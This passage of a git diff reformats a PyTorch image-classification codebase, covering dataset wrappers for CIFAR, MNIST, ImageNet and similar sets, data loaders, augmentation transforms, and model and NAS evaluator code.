= Image.open(img_path).convert("RGB") except Exception as e: print(f"Error loading image {img_path}: {e}") - image = Image.new('RGB', (224, 224), color='black') - + image = Image.new("RGB", (224, 224), color="black") + if self.transform: image = self.transform(image) - + if self.target_transform: label = self.target_transform(label) - + return image, label + class SyntheticDataset(Dataset): def __init__( self, num_samples: int = 10000, num_classes: int = 10, image_size: int = 224, - channels: int = 3 + channels: int = 3, ): self.num_samples = num_samples self.num_classes = num_classes self.image_size = image_size self.channels = channels - + def __len__(self) -> int: return self.num_samples - + def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]: image = torch.randn(self.channels, self.image_size, self.image_size) label = idx % self.num_classes return image, label + class MemoryDataset(Dataset): def __init__(self, data: torch.Tensor, labels: torch.Tensor): assert len(data) == len(labels) self.data = data self.labels = labels - + def __len__(self) -> int: return len(self.data) - + def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]: return self.data[idx], self.labels[idx] + class DataLoaderBuilder: def __init__(self, config): self.config = config - + def build_train_loader(self, dataset: Dataset) -> DataLoader: return DataLoader( dataset, @@ -108,9 +117,9 @@ def build_train_loader(self, dataset: Dataset) -> DataLoader: num_workers=self.config.num_workers, pin_memory=self.config.pin_memory, drop_last=True, - persistent_workers=self.config.num_workers > 0 + persistent_workers=self.config.num_workers > 0, ) - + def build_val_loader(self, dataset: Dataset) -> DataLoader: return DataLoader( dataset, @@ -119,9 +128,9 @@ def build_val_loader(self, dataset: Dataset) -> DataLoader: num_workers=self.config.num_workers, pin_memory=self.config.pin_memory, drop_last=False, - persistent_workers=self.config.num_workers > 0 + persistent_workers=self.config.num_workers > 0, ) - + def build_test_loader(self, dataset: Dataset) -> DataLoader: return DataLoader( dataset, @@ -129,57 +138,56 @@ def build_test_loader(self, dataset: Dataset) -> DataLoader: shuffle=False, num_workers=self.config.num_workers, pin_memory=self.config.pin_memory, - drop_last=False + drop_last=False, ) + class CachedDataset(Dataset): def __init__(self, dataset: Dataset, cache_size: int = 1000): self.dataset = dataset self.cache_size = cache_size self.cache = {} - + def __len__(self) -> int: return len(self.dataset) - + def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]: if idx in self.cache: return self.cache[idx] - + item = self.dataset[idx] - + if len(self.cache) < self.cache_size: self.cache[idx] = item - + return item + class MultiScaleDataset(Dataset): - def __init__( - self, - dataset: Dataset, - scales: List[int] = [224, 256, 288, 320] - ): + def __init__(self, dataset: Dataset, scales: List[int] = [224, 256, 288, 320]): self.dataset = dataset self.scales = scales - + def __len__(self) -> int: return len(self.dataset) - + def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]: image, label = self.dataset[idx] - + scale = np.random.choice(self.scales) resize = transforms.Resize((scale, scale)) image = resize(image) - + return image, label + class PrefetchDataset(Dataset): def __init__(self, dataset: Dataset, prefetch_size: int = 100): self.dataset = dataset self.prefetch_size = prefetch_size - + def __len__(self) -> int: return len(self.dataset) - + def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]: - return self.dataset[idx] \ No newline at end of file + return self.dataset[idx] diff --git a/ML/src/python/neuralforge/data/datasets.py b/ML/src/python/neuralforge/data/datasets.py index 85a9c1db1fd..6066c7142f3 100644 --- a/ML/src/python/neuralforge/data/datasets.py +++ b/ML/src/python/neuralforge/data/datasets.py @@ -4,318 +4,443 @@ import os from typing import Optional, Callable + class CIFAR10Dataset: - def __init__(self, root='./data', train=True, transform=None, download=True): + def __init__(self, root="./data", train=True, transform=None, download=True): if transform is None: if train: - transform = transforms.Compose([ - transforms.RandomCrop(32, padding=4), - transforms.RandomHorizontalFlip(), - transforms.ToTensor(), - transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)) - ]) + transform = transforms.Compose( + [ + transforms.RandomCrop(32, padding=4), + transforms.RandomHorizontalFlip(), + transforms.ToTensor(), + transforms.Normalize( + (0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010) + ), + ] + ) else: - transform = transforms.Compose([ - transforms.ToTensor(), - transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)) - ]) - - self.dataset = datasets.CIFAR10(root=root, train=train, transform=transform, download=download) - self.classes = ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck'] - + transform = transforms.Compose( + [ + transforms.ToTensor(), + transforms.Normalize( + (0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010) + ), + ] + ) + + self.dataset = datasets.CIFAR10( + root=root, train=train, transform=transform, download=download + ) + self.classes = [ + "airplane", + "automobile", + "bird", + "cat", + "deer", + "dog", + "frog", + "horse", + "ship", + "truck", + ] + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class CIFAR100Dataset: - def __init__(self, root='./data', train=True, transform=None, download=True): + def __init__(self, root="./data", train=True, transform=None, download=True): if transform is None: if train: - transform = transforms.Compose([ - transforms.RandomCrop(32, padding=4), - transforms.RandomHorizontalFlip(), - transforms.RandomRotation(15), - transforms.ToTensor(), - transforms.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761)) - ]) + transform = transforms.Compose( + [ + transforms.RandomCrop(32, padding=4), + transforms.RandomHorizontalFlip(), + transforms.RandomRotation(15), + transforms.ToTensor(), + transforms.Normalize( + (0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761) + ), + ] + ) else: - transform = transforms.Compose([ - transforms.ToTensor(), - transforms.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761)) - ]) - - self.dataset = datasets.CIFAR100(root=root, train=train, transform=transform, download=download) - + transform = transforms.Compose( + [ + transforms.ToTensor(), + transforms.Normalize( + (0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761) + ), + ] + ) + + self.dataset = datasets.CIFAR100( + root=root, train=train, transform=transform, download=download + ) + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class MNISTDataset: - def __init__(self, root='./data', train=True, transform=None, download=True): + def __init__(self, root="./data", train=True, transform=None, download=True): if transform is None: - transform = transforms.Compose([ - transforms.ToTensor(), - transforms.Normalize((0.1307,), (0.3081,)) - ]) - - self.dataset = datasets.MNIST(root=root, train=train, transform=transform, download=download) + transform = transforms.Compose( + [transforms.ToTensor(), transforms.Normalize((0.1307,), (0.3081,))] + ) + + self.dataset = datasets.MNIST( + root=root, train=train, transform=transform, download=download + ) self.classes = [str(i) for i in range(10)] - + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class FashionMNISTDataset: - def __init__(self, root='./data', train=True, transform=None, download=True): + def __init__(self, root="./data", train=True, transform=None, download=True): if transform is None: - transform = transforms.Compose([ - transforms.ToTensor(), - transforms.Normalize((0.2860,), (0.3530,)) - ]) - - self.dataset = datasets.FashionMNIST(root=root, train=train, transform=transform, download=download) - self.classes = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', - 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot'] - + transform = transforms.Compose( + [transforms.ToTensor(), transforms.Normalize((0.2860,), (0.3530,))] + ) + + self.dataset = datasets.FashionMNIST( + root=root, train=train, transform=transform, download=download + ) + self.classes = [ + "T-shirt/top", + "Trouser", + "Pullover", + "Dress", + "Coat", + "Sandal", + "Shirt", + "Sneaker", + "Bag", + "Ankle boot", + ] + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class STL10Dataset: - def __init__(self, root='./data', split='train', transform=None, download=True): + def __init__(self, root="./data", split="train", transform=None, download=True): if transform is None: - if split == 'train': - transform = transforms.Compose([ - transforms.RandomCrop(96, padding=12), - transforms.RandomHorizontalFlip(), - transforms.ToTensor(), - transforms.Normalize((0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713)) - ]) + if split == "train": + transform = transforms.Compose( + [ + transforms.RandomCrop(96, padding=12), + transforms.RandomHorizontalFlip(), + transforms.ToTensor(), + transforms.Normalize( + (0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713) + ), + ] + ) else: - transform = transforms.Compose([ - transforms.ToTensor(), - transforms.Normalize((0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713)) - ]) - - self.dataset = datasets.STL10(root=root, split=split, transform=transform, download=download) - self.classes = ['airplane', 'bird', 'car', 'cat', 'deer', 'dog', 'horse', 'monkey', 'ship', 'truck'] - + transform = transforms.Compose( + [ + transforms.ToTensor(), + transforms.Normalize( + (0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713) + ), + ] + ) + + self.dataset = datasets.STL10( + root=root, split=split, transform=transform, download=download + ) + self.classes = [ + "airplane", + "bird", + "car", + "cat", + "deer", + "dog", + "horse", + "monkey", + "ship", + "truck", + ] + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] -def get_dataset(name='cifar10', root='./data', train=True, download=True): + +def get_dataset(name="cifar10", root="./data", train=True, download=True): name = name.lower() - - if name == 'cifar10': + + if name == "cifar10": return CIFAR10Dataset(root=root, train=train, download=download) - elif name == 'cifar100': + elif name == "cifar100": return CIFAR100Dataset(root=root, train=train, download=download) - elif name == 'mnist': + elif name == "mnist": return MNISTDataset(root=root, train=train, download=download) - elif name == 'fashion_mnist' or name == 'fashionmnist': + elif name == "fashion_mnist" or name == "fashionmnist": return FashionMNISTDataset(root=root, train=train, download=download) - elif name == 'stl10': - split = 'train' if train else 'test' + elif name == "stl10": + split = "train" if train else "test" return STL10Dataset(root=root, split=split, download=download) else: raise ValueError(f"Unknown dataset: {name}") + class ImageNetDataset: - def __init__(self, root='./data/imagenet', split='train', transform=None, download=False): + def __init__( + self, root="./data/imagenet", split="train", transform=None, download=False + ): if transform is None: - if split == 'train': - transform = transforms.Compose([ - transforms.RandomResizedCrop(224), - transforms.RandomHorizontalFlip(), - transforms.ColorJitter(0.4, 0.4, 0.4), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) + if split == "train": + transform = transforms.Compose( + [ + transforms.RandomResizedCrop(224), + transforms.RandomHorizontalFlip(), + transforms.ColorJitter(0.4, 0.4, 0.4), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) else: - transform = transforms.Compose([ - transforms.Resize(256), - transforms.CenterCrop(224), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) - + transform = transforms.Compose( + [ + transforms.Resize(256), + transforms.CenterCrop(224), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) + try: - self.dataset = datasets.ImageFolder(os.path.join(root, split), transform=transform) + self.dataset = datasets.ImageFolder( + os.path.join(root, split), transform=transform + ) except: - print(f"ImageNet not found at {root}. Please download manually from https://image-net.org/") + print( + f"ImageNet not found at {root}. Please download manually from https://image-net.org/" + ) print("Expected structure: {root}/train/ and {root}/val/") raise - + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class TinyImageNetDataset: - def __init__(self, root='./data', train=True, transform=None, download=True): + def __init__(self, root="./data", train=True, transform=None, download=True): if transform is None: if train: - transform = transforms.Compose([ - transforms.RandomCrop(64, padding=8), - transforms.RandomHorizontalFlip(), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) + transform = transforms.Compose( + [ + transforms.RandomCrop(64, padding=8), + transforms.RandomHorizontalFlip(), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) else: - transform = transforms.Compose([ - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) - + transform = transforms.Compose( + [ + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) + import zipfile import urllib.request - - data_dir = os.path.join(root, 'tiny-imagenet-200') + + data_dir = os.path.join(root, "tiny-imagenet-200") if download and not os.path.exists(data_dir): print("Downloading Tiny ImageNet (237 MB)...") - url = 'http://cs231n.stanford.edu/tiny-imagenet-200.zip' - zip_path = os.path.join(root, 'tiny-imagenet-200.zip') - + url = "http://cs231n.stanford.edu/tiny-imagenet-200.zip" + zip_path = os.path.join(root, "tiny-imagenet-200.zip") + try: urllib.request.urlretrieve(url, zip_path) print("Extracting...") - with zipfile.ZipFile(zip_path, 'r') as zip_ref: + with zipfile.ZipFile(zip_path, "r") as zip_ref: zip_ref.extractall(root) os.remove(zip_path) except Exception as e: print(f"Download failed: {e}") - print("Please download manually from: http://cs231n.stanford.edu/tiny-imagenet-200.zip") - - split = 'train' if train else 'val' - self.dataset = datasets.ImageFolder(os.path.join(data_dir, split), transform=transform) - + print( + "Please download manually from: http://cs231n.stanford.edu/tiny-imagenet-200.zip" + ) + + split = "train" if train else "val" + self.dataset = datasets.ImageFolder( + os.path.join(data_dir, split), transform=transform + ) + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class Food101Dataset: - def __init__(self, root='./data', split='train', transform=None, download=True): + def __init__(self, root="./data", split="train", transform=None, download=True): if transform is None: - if split == 'train': - transform = transforms.Compose([ - transforms.RandomResizedCrop(224), - transforms.RandomHorizontalFlip(), - transforms.RandomRotation(15), - transforms.ColorJitter(0.3, 0.3, 0.3), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) + if split == "train": + transform = transforms.Compose( + [ + transforms.RandomResizedCrop(224), + transforms.RandomHorizontalFlip(), + transforms.RandomRotation(15), + transforms.ColorJitter(0.3, 0.3, 0.3), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) else: - transform = transforms.Compose([ - transforms.Resize(256), - transforms.CenterCrop(224), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) - - self.dataset = datasets.Food101(root=root, split=split, transform=transform, download=download) - + transform = transforms.Compose( + [ + transforms.Resize(256), + transforms.CenterCrop(224), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) + + self.dataset = datasets.Food101( + root=root, split=split, transform=transform, download=download + ) + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class Caltech256Dataset: - def __init__(self, root='./data', transform=None, download=True): + def __init__(self, root="./data", transform=None, download=True): if transform is None: - transform = transforms.Compose([ - transforms.Resize(256), - transforms.CenterCrop(224), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) - - self.dataset = datasets.Caltech256(root=root, transform=transform, download=download) - + transform = transforms.Compose( + [ + transforms.Resize(256), + transforms.CenterCrop(224), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) + + self.dataset = datasets.Caltech256( + root=root, transform=transform, download=download + ) + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] + class OxfordPetsDataset: - def __init__(self, root='./data', split='trainval', transform=None, download=True): + def __init__(self, root="./data", split="trainval", transform=None, download=True): if transform is None: - transform = transforms.Compose([ - transforms.Resize(256), - transforms.CenterCrop(224), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) - - self.dataset = datasets.OxfordIIITPet(root=root, split=split, transform=transform, download=download) - + transform = transforms.Compose( + [ + transforms.Resize(256), + transforms.CenterCrop(224), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) + + self.dataset = datasets.OxfordIIITPet( + root=root, split=split, transform=transform, download=download + ) + def __len__(self): return len(self.dataset) - + def __getitem__(self, idx): return self.dataset[idx] -def get_dataset(name='cifar10', root='./data', train=True, download=True): + +def get_dataset(name="cifar10", root="./data", train=True, download=True): name = name.lower() - - if name == 'cifar10': + + if name == "cifar10": return CIFAR10Dataset(root=root, train=train, download=download) - elif name == 'cifar100': + elif name == "cifar100": return CIFAR100Dataset(root=root, train=train, download=download) - elif name == 'mnist': + elif name == "mnist": return MNISTDataset(root=root, train=train, download=download) - elif name == 'fashion_mnist' or name == 'fashionmnist': + elif name == "fashion_mnist" or name == "fashionmnist": return FashionMNISTDataset(root=root, train=train, download=download) - elif name == 'stl10': - split = 'train' if train else 'test' + elif name == "stl10": + split = "train" if train else "test" return STL10Dataset(root=root, split=split, download=download) - elif name == 'tiny_imagenet' or name == 'tinyimagenet': + elif name == "tiny_imagenet" or name == "tinyimagenet": return TinyImageNetDataset(root=root, train=train, download=download) - elif name == 'imagenet': - split = 'train' if train else 'val' + elif name == "imagenet": + split = "train" if train else "val" return ImageNetDataset(root=root, split=split, download=download) - elif name == 'food101': - split = 'train' if train else 'test' + elif name == "food101": + split = "train" if train else "test" return Food101Dataset(root=root, split=split, download=download) - elif name == 'caltech256': + elif name == "caltech256": return Caltech256Dataset(root=root, download=download) - elif name == 'oxford_pets' or name == 'oxfordpets': - split = 'trainval' if train else 'test' + elif name == "oxford_pets" or name == "oxfordpets": + split = "trainval" if train else "test" return OxfordPetsDataset(root=root, split=split, download=download) else: raise ValueError(f"Unknown dataset: {name}") + def get_num_classes(dataset_name): dataset_name = dataset_name.lower() - if dataset_name in ['cifar10', 'mnist', 'fashion_mnist', 'fashionmnist', 'stl10']: + if dataset_name in ["cifar10", "mnist", "fashion_mnist", "fashionmnist", "stl10"]: return 10 - elif dataset_name == 'cifar100': + elif dataset_name == "cifar100": return 100 - elif dataset_name in ['tiny_imagenet', 'tinyimagenet']: + elif dataset_name in ["tiny_imagenet", "tinyimagenet"]: return 200 - elif dataset_name == 'imagenet': + elif dataset_name == "imagenet": return 1000 - elif dataset_name == 'food101': + elif dataset_name == "food101": return 101 - elif dataset_name == 'caltech256': + elif dataset_name == "caltech256": return 257 - elif dataset_name in ['oxford_pets', 'oxfordpets']: + elif dataset_name in ["oxford_pets", "oxfordpets"]: return 37 else: return 10 @@ -324,18 +449,62 @@ def get_num_classes(dataset_name): def get_class_names(dataset_name): """Get class names for a dataset""" dataset_name = dataset_name.lower() - + class_names_map = { - 'cifar10': ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck'], - 'mnist': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'], - 'fashion_mnist': ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot'], - 'fashionmnist': ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot'], - 'stl10': ['airplane', 'bird', 'car', 'cat', 'deer', 'dog', 'horse', 'monkey', 'ship', 'truck'], + "cifar10": [ + "airplane", + "automobile", + "bird", + "cat", + "deer", + "dog", + "frog", + "horse", + "ship", + "truck", + ], + "mnist": ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"], + "fashion_mnist": [ + "T-shirt/top", + "Trouser", + "Pullover", + "Dress", + "Coat", + "Sandal", + "Shirt", + "Sneaker", + "Bag", + "Ankle boot", + ], + "fashionmnist": [ + "T-shirt/top", + "Trouser", + "Pullover", + "Dress", + "Coat", + "Sandal", + "Shirt", + "Sneaker", + "Bag", + "Ankle boot", + ], + "stl10": [ + "airplane", + "bird", + "car", + "cat", + "deer", + "dog", + "horse", + "monkey", + "ship", + "truck", + ], } - + if dataset_name in class_names_map: return class_names_map[dataset_name] - + # For other datasets, return generic class names num_classes = get_num_classes(dataset_name) - return [f'class_{i}' for i in range(num_classes)] + return [f"class_{i}" for i in range(num_classes)] diff --git a/ML/src/python/neuralforge/data/transforms.py b/ML/src/python/neuralforge/data/transforms.py index f49e53b41e1..13d605ff699 100644 --- a/ML/src/python/neuralforge/data/transforms.py +++ b/ML/src/python/neuralforge/data/transforms.py @@ -2,107 +2,121 @@ import torch from typing import List, Tuple -def get_transforms(image_size: int = 224, is_training: bool = True, mean=None, std=None): + +def get_transforms( + image_size: int = 224, is_training: bool = True, mean=None, std=None +): if mean is None: mean = [0.485, 0.456, 0.406] if std is None: std = [0.229, 0.224, 0.225] - + if is_training: - return transforms.Compose([ - transforms.RandomResizedCrop(image_size, scale=(0.8, 1.0)), - transforms.RandomHorizontalFlip(p=0.5), - transforms.RandomVerticalFlip(p=0.1), - transforms.ColorJitter(brightness=0.2, contrast=0.2, saturation=0.2, hue=0.1), - transforms.RandomRotation(15), - transforms.ToTensor(), - transforms.Normalize(mean=mean, std=std), - transforms.RandomErasing(p=0.5, scale=(0.02, 0.33), ratio=(0.3, 3.3)) - ]) + return transforms.Compose( + [ + transforms.RandomResizedCrop(image_size, scale=(0.8, 1.0)), + transforms.RandomHorizontalFlip(p=0.5), + transforms.RandomVerticalFlip(p=0.1), + transforms.ColorJitter( + brightness=0.2, contrast=0.2, saturation=0.2, hue=0.1 + ), + transforms.RandomRotation(15), + transforms.ToTensor(), + transforms.Normalize(mean=mean, std=std), + transforms.RandomErasing(p=0.5, scale=(0.02, 0.33), ratio=(0.3, 3.3)), + ] + ) else: - return transforms.Compose([ - transforms.Resize(int(image_size * 1.14)), - transforms.CenterCrop(image_size), - transforms.ToTensor(), - transforms.Normalize(mean=mean, std=std) - ]) + return transforms.Compose( + [ + transforms.Resize(int(image_size * 1.14)), + transforms.CenterCrop(image_size), + transforms.ToTensor(), + transforms.Normalize(mean=mean, std=std), + ] + ) + class RandomMixup: def __init__(self, alpha: float = 1.0): self.alpha = alpha - + def __call__(self, batch): if self.alpha > 0: lam = torch.distributions.Beta(self.alpha, self.alpha).sample() else: lam = 1.0 - + batch_size = batch[0].size(0) index = torch.randperm(batch_size) - + mixed_input = lam * batch[0] + (1 - lam) * batch[0][index, :] y_a, y_b = batch[1], batch[1][index] - + return mixed_input, y_a, y_b, lam + class RandomCutmix: def __init__(self, alpha: float = 1.0): self.alpha = alpha - + def __call__(self, batch): images, labels = batch batch_size = images.size(0) index = torch.randperm(batch_size) - + if self.alpha > 0: lam = torch.distributions.Beta(self.alpha, self.alpha).sample() else: lam = 1.0 - + _, _, H, W = images.shape cut_rat = torch.sqrt(1.0 - lam) cut_w = (W * cut_rat).int() cut_h = (H * cut_rat).int() - + cx = torch.randint(W, (1,)).item() cy = torch.randint(H, (1,)).item() - + bbx1 = torch.clamp(cx - cut_w // 2, 0, W) bby1 = torch.clamp(cy - cut_h // 2, 0, H) bbx2 = torch.clamp(cx + cut_w // 2, 0, W) bby2 = torch.clamp(cy + cut_h // 2, 0, H) - + images[:, :, bby1:bby2, bbx1:bbx2] = images[index, :, bby1:bby2, bbx1:bbx2] - + lam = 1 - ((bbx2 - bbx1) * (bby2 - bby1) / (W * H)) - + return images, labels, labels[index], lam + class GaussianNoise: def __init__(self, mean: float = 0.0, std: float = 0.1): self.mean = mean self.std = std - + def __call__(self, tensor): return tensor + torch.randn(tensor.size()) * self.std + self.mean + class RandomGaussianBlur: def __init__(self, kernel_size: int = 5, sigma: Tuple[float, float] = (0.1, 2.0)): self.kernel_size = kernel_size self.sigma = sigma - + def __call__(self, img): return transforms.GaussianBlur(self.kernel_size, self.sigma)(img) + def get_strong_augmentation(image_size: int = 224): - return transforms.Compose([ - transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0)), - transforms.RandomHorizontalFlip(), - transforms.RandomApply([ - transforms.ColorJitter(0.4, 0.4, 0.4, 0.2) - ], p=0.8), - transforms.RandomGrayscale(p=0.2), - transforms.RandomApply([transforms.GaussianBlur(kernel_size=23)], p=0.5), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) + return transforms.Compose( + [ + transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0)), + transforms.RandomHorizontalFlip(), + transforms.RandomApply([transforms.ColorJitter(0.4, 0.4, 0.4, 0.2)], p=0.8), + transforms.RandomGrayscale(p=0.2), + transforms.RandomApply([transforms.GaussianBlur(kernel_size=23)], p=0.5), + transforms.ToTensor(), + transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), + ] + ) diff --git a/ML/src/python/neuralforge/models/__init__.py b/ML/src/python/neuralforge/models/__init__.py index 5d48e87b3e3..44ab1e8eefd 100644 --- a/ML/src/python/neuralforge/models/__init__.py +++ b/ML/src/python/neuralforge/models/__init__.py @@ -3,9 +3,9 @@ from .vit import VisionTransformer __all__ = [ - 'ResNet18', - 'ResNet34', - 'ResNet50', - 'EfficientNetB0', - 'VisionTransformer', -] \ No newline at end of file + "ResNet18", + "ResNet34", + "ResNet50", + "EfficientNetB0", + "VisionTransformer", +] diff --git a/ML/src/python/neuralforge/models/efficientnet.py b/ML/src/python/neuralforge/models/efficientnet.py index 6da47702cde..32ea97418ae 100644 --- a/ML/src/python/neuralforge/models/efficientnet.py +++ b/ML/src/python/neuralforge/models/efficientnet.py @@ -1,16 +1,17 @@ import torch.nn as nn from ..nn.convolution import EfficientNetBlock + class EfficientNetB0(nn.Module): def __init__(self, num_classes=1000): super().__init__() - + self.stem = nn.Sequential( nn.Conv2d(3, 32, 3, stride=2, padding=1, bias=False), nn.BatchNorm2d(32), - nn.SiLU(inplace=True) + nn.SiLU(inplace=True), ) - + self.blocks = nn.Sequential( EfficientNetBlock(32, 16, 3, 1, 1), EfficientNetBlock(16, 24, 3, 2, 6), @@ -25,7 +26,7 @@ def __init__(self, num_classes=1000): EfficientNetBlock(192, 192, 5, 1, 6), EfficientNetBlock(192, 320, 3, 1, 6), ) - + self.head = nn.Sequential( nn.Conv2d(320, 1280, 1, bias=False), nn.BatchNorm2d(1280), @@ -33,11 +34,11 @@ def __init__(self, num_classes=1000): nn.AdaptiveAvgPool2d(1), nn.Flatten(), nn.Dropout(0.2), - nn.Linear(1280, num_classes) + nn.Linear(1280, num_classes), ) - + def forward(self, x): x = self.stem(x) x = self.blocks(x) x = self.head(x) - return x \ No newline at end of file + return x diff --git a/ML/src/python/neuralforge/models/resnet.py b/ML/src/python/neuralforge/models/resnet.py index 417077e0dd4..0b154d2bcab 100644 --- a/ML/src/python/neuralforge/models/resnet.py +++ b/ML/src/python/neuralforge/models/resnet.py @@ -1,15 +1,21 @@ import torch.nn as nn from ..nn.convolution import ResNetBlock + def ResNet18(num_classes=1000, in_channels=3): from ..nn.convolution import ResNet + return ResNet(ResNetBlock, [2, 2, 2, 2], num_classes, in_channels) + def ResNet34(num_classes=1000, in_channels=3): from ..nn.convolution import ResNet + return ResNet(ResNetBlock, [3, 4, 6, 3], num_classes, in_channels) + def ResNet50(num_classes=1000, in_channels=3): from ..nn.layers import BottleneckBlock from ..nn.convolution import ResNet - return ResNet(BottleneckBlock, [3, 4, 6, 3], num_classes, in_channels) \ No newline at end of file + + return ResNet(BottleneckBlock, [3, 4, 6, 3], num_classes, in_channels) diff --git a/ML/src/python/neuralforge/models/vit.py b/ML/src/python/neuralforge/models/vit.py index 9ac34c075c8..ac353f2e97d 100644 --- a/ML/src/python/neuralforge/models/vit.py +++ b/ML/src/python/neuralforge/models/vit.py @@ -1,6 +1,7 @@ import torch.nn as nn from ..nn.attention import VisionTransformerBlock + def VisionTransformer( img_size=224, patch_size=16, @@ -10,7 +11,7 @@ def VisionTransformer( depth=12, num_heads=12, mlp_ratio=4.0, - dropout=0.1 + dropout=0.1, ): return VisionTransformerBlock( img_size=img_size, @@ -20,5 +21,5 @@ def VisionTransformer( num_heads=num_heads, num_layers=depth, num_classes=num_classes, - dropout=dropout - ) \ No newline at end of file + dropout=dropout, + ) diff --git a/ML/src/python/neuralforge/nas/__init__.py b/ML/src/python/neuralforge/nas/__init__.py index 46ae660539c..5adbbf57368 100644 --- a/ML/src/python/neuralforge/nas/__init__.py +++ b/ML/src/python/neuralforge/nas/__init__.py @@ -3,8 +3,8 @@ from .evaluator import * __all__ = [ - 'SearchSpace', - 'EvolutionarySearch', - 'ModelEvaluator', - 'Architecture', + "SearchSpace", + "EvolutionarySearch", + "ModelEvaluator", + "Architecture", ] diff --git a/ML/src/python/neuralforge/nas/evaluator.py b/ML/src/python/neuralforge/nas/evaluator.py index 735d61cb0d8..c60f279d5c7 100644 --- a/ML/src/python/neuralforge/nas/evaluator.py +++ b/ML/src/python/neuralforge/nas/evaluator.py @@ -5,138 +5,148 @@ from typing import Tuple from .search_space import SearchSpace, Architecture + class ModelEvaluator: def __init__( self, train_loader: DataLoader, val_loader: DataLoader, - device: str = 'cuda', + device: str = "cuda", epochs: int = 5, - quick_eval: bool = True + quick_eval: bool = True, ): self.train_loader = train_loader self.val_loader = val_loader self.device = device self.epochs = epochs self.quick_eval = quick_eval - - def evaluate(self, architecture: Architecture, search_space: SearchSpace) -> Tuple[float, float]: + + def evaluate( + self, architecture: Architecture, search_space: SearchSpace + ) -> Tuple[float, float]: try: model = search_space.build_model(architecture) model = model.to(self.device) - + criterion = nn.CrossEntropyLoss() optimizer = torch.optim.Adam(model.parameters(), lr=0.001) - + if self.quick_eval: accuracy = self._quick_evaluate(model, criterion, optimizer) else: accuracy = self._full_evaluate(model, criterion, optimizer) - + complexity = search_space.estimate_complexity(architecture) - params = complexity['params'] - flops = complexity['flops'] - + params = complexity["params"] + flops = 